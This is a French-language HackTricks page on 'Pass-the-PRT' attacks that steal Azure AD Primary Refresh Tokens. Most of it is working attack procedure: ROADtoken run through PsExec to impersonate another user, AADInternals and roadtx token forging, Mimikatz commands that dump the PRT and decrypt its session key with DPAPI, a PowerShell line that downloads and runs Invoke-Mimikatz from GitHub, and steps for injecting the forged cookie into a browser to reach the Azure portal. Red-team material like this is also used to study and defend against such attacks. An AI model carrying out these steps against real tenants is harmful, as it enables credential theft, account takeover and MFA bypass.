Az - Pass the PRT

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)!

Autres façons de soutenir HackTricks :

Qu'est-ce qu'un PRT

pageAz - Primary Refresh Token (PRT)

Vérifiez si vous avez un PRT

Dsregcmd.exe /status

Dans la section État SSO, vous devriez voir que AzureAdPrt est défini sur YES.

Dans la même sortie, vous pouvez également voir si l'appareil est connecté à Azure (dans le champ AzureAdJoined):

Le cookie PRT est en fait appelé x-ms-RefreshTokenCredential et c'est un JSON Web Token (JWT). Un JWT contient 3 parties, l'en-tête, la charge utile et la signature, divisées par un . et toutes codées en base64 de manière sécurisée pour les URL. Un cookie PRT typique contient l'en-tête et le corps suivants:

{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}

Le véritable Primary Refresh Token (PRT) est encapsulé dans le refresh_token, qui est chiffré par une clé sous le contrôle d'Azure AD, rendant son contenu opaque et indéchiffrable pour nous. Le champ is_primary signifie l'encapsulation du primary refresh token dans ce jeton. Pour garantir que le cookie reste lié à la session de connexion spécifique pour laquelle il était destiné, le request_nonce est transmis depuis la page logon.microsoftonline.com.

Le processus LSASS enverra au TPM le contexte KDF, et le TPM utilisera la clé de session (collectée lors de l'enregistrement de l'appareil dans AzureAD et stockée dans le TPM) et le contexte précédent pour dériver une clé, et cette clé dérivée est utilisée pour signer le cookie PRT (JWT).

Le contexte KDF est un nonce d'AzureAD et le PRT créant un JWT mélangé avec un contexte (octets aléatoires).

Par conséquent, même si le PTR ne peut pas être extrait car il est situé à l'intérieur du TPM, il est possible d'abuser de LSASS pour demander des clés dérivées à partir de nouveaux contextes et utiliser les clés générées pour signer des Cookies.

Scénarios d'abus de PRT

En tant qu'utilisateur régulier, il est possible de demander l'utilisation du PRT en demandant à LSASS des données SSO. Cela peut être fait comme les applications natives qui demandent des jetons à Web Account Manager (courtier de jetons). WAM transmet la demande à LSASS, qui demande des jetons en utilisant une assertion PRT signée. Ou cela peut être fait avec des flux basés sur le navigateur (web) où un cookie PRT est utilisé comme en-tête pour authentifier les demandes aux pages de connexion Azure AS.

En tant que SYSTEM, vous pourriez voler le PRT s'il n'est pas protégé par TPM ou interagir avec les clés PRT dans LSASS en utilisant des API cryptographiques.

Exemples d'attaques Pass-the-PRT

Attaque - ROADtoken

Pour plus d'informations sur cette méthode, consultez ce post. ROADtoken exécutera BrowserCore.exe depuis le bon répertoire et l'utilisera pour obtenir un cookie PRT. Ce cookie peut ensuite être utilisé avec ROADtools pour s'authentifier et obtenir un jeton de rafraîchissement persistant.

Pour générer un cookie PRT valide, la première chose dont vous avez besoin est un nonce. Vous pouvez l'obtenir avec :

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

Ou en utilisant roadrecon :

roadrecon auth prt-init

Ensuite, vous pouvez utiliser roadtoken pour obtenir un nouveau PRT (exécutez l'outil à partir d'un processus de l'utilisateur à attaquer) :

.\ROADtoken.exe <nonce>
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Ensuite, vous pouvez utiliser le cookie généré pour générer des jetons et vous connecter en utilisant Azure AD Graph ou Microsoft Graph :

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Attaque - Utilisation de roadrecon

Attaque - Utilisation d'un PTR divulgué

Get-AADIntUserPRTToken obtient le jeton PRT de l'utilisateur à partir de l'ordinateur rejoint à Azure AD ou hybride. Utilise BrowserCore.exe pour obtenir le jeton PRT.

# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

Ou si vous avez les valeurs de Mimikatz, vous pouvez également utiliser AADInternals pour générer un jeton :

# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>

Allez sur https://login.microsoftonline.com, effacez tous les cookies pour login.microsoftonline.com et entrez un nouveau cookie.

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Ensuite, allez sur https://portal.azure.com

Le reste devrait être par défaut. Assurez-vous de pouvoir rafraîchir la page sans que le cookie ne disparaisse, sinon vous avez peut-être commis une erreur et devez recommencer le processus. Si ce n'est pas le cas, vous devriez être bon.

Attaque - Mimikatz

Étapes

  1. Le PRT (Primary Refresh Token) est extrait de LSASS (Local Security Authority Subsystem Service) et stocké pour une utilisation ultérieure.

  2. La clé de session est ensuite extraite. Étant donné que cette clé est initialement émise puis ré-encryptée par le périphérique local, elle nécessite un décryptage à l'aide d'une clé maître DPAPI. Des informations détaillées sur DPAPI (Data Protection API) peuvent être trouvées dans ces ressources : HackTricks et pour comprendre son application, consultez l'attaque Pass-the-cookie.

  3. Après le décryptage de la clé de session, la clé dérivée et le contexte du PRT sont obtenus. Ceux-ci sont cruciaux pour la création du cookie PRT. En particulier, la clé dérivée est utilisée pour signer le JWT (JSON Web Token) qui constitue le cookie. Une explication détaillée de ce processus a été fournie par Dirk-jan, accessible ici.

Notez que si le PRT est à l'intérieur du TPM et non à l'intérieur de lsass, mimikatz ne pourra pas l'extraire. Cependant, il sera possible d'obtenir une clé à partir d'une clé dérivée d'un contexte du TPM et l'utiliser pour signer un cookie (vérifiez l'option 3).

Vous pouvez trouver une explication approfondie du processus effectué pour extraire ces détails ici : https://dirkjanm.io/digging-further-into-the-primary-refresh-token/

Cela ne fonctionnera pas exactement après les correctifs d'août 2021 pour obtenir les jetons PRT d'autres utilisateurs car seul l'utilisateur peut obtenir son PRT (un administrateur local ne peut pas accéder aux PRT d'autres utilisateurs), mais peut accéder au sien.

Vous pouvez utiliser mimikatz pour extraire le PRT :

mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

Copiez la partie étiquetée Prt et enregistrez-la. Extrayez également la clé de session (la KeyValue du champ ProofOfPossesionKey) que vous pouvez voir mise en évidence ci-dessous. Celle-ci est chiffrée et nous aurons besoin d'utiliser nos clés maîtresses DPAPI pour la décrypter.

Si vous ne voyez pas de données PRT, cela pourrait être dû au fait que vous n'avez pas de PRT car votre appareil n'est pas joint à Azure AD ou cela pourrait être dû au fait que vous utilisez une ancienne version de Windows 10.

Pour décrypter la clé de session, vous devez élever vos privilèges à SYSTEM pour s'exécuter sous le contexte de l'ordinateur afin de pouvoir utiliser la clé maîtresse DPAPI pour la décrypter. Vous pouvez utiliser les commandes suivantes pour le faire :

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect

Option 1 - Mimikatz Complet

  • Maintenant, vous voulez copier à la fois la valeur du Contexte :

  • Et la valeur de la clé dérivée :

  • Enfin, vous pouvez utiliser toutes ces informations pour générer des cookies PRT :

Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Le reste devrait être par défaut. Assurez-vous de pouvoir rafraîchir la page et que le cookie ne disparaisse pas, sinon vous avez peut-être fait une erreur et devez recommencer le processus. Si ce n'est pas le cas, vous devriez être bon.

Option 2 - roadrecon en utilisant PTR

  • Renouvelez d'abord le PRT, qui sera enregistré dans roadtx.prt:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • Maintenant, nous pouvons demander des jetons en utilisant le navigateur interactif avec roadtx browserprtauth. Si nous utilisons la commande roadtx describe, nous voyons que le jeton d'accès inclut une revendication MFA car le PRT que j'ai utilisé dans ce cas avait également une revendication MFA.

roadtx browserprtauth
roadtx describe < .roadtools_auth

Option 3 - roadrecon using derived keys

Ayant le contexte et la clé dérivée extraite par mimikatz, il est possible d'utiliser roadrecon pour générer un nouveau cookie signé avec :

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)!

Autres façons de soutenir HackTricks:

Dernière mise à jour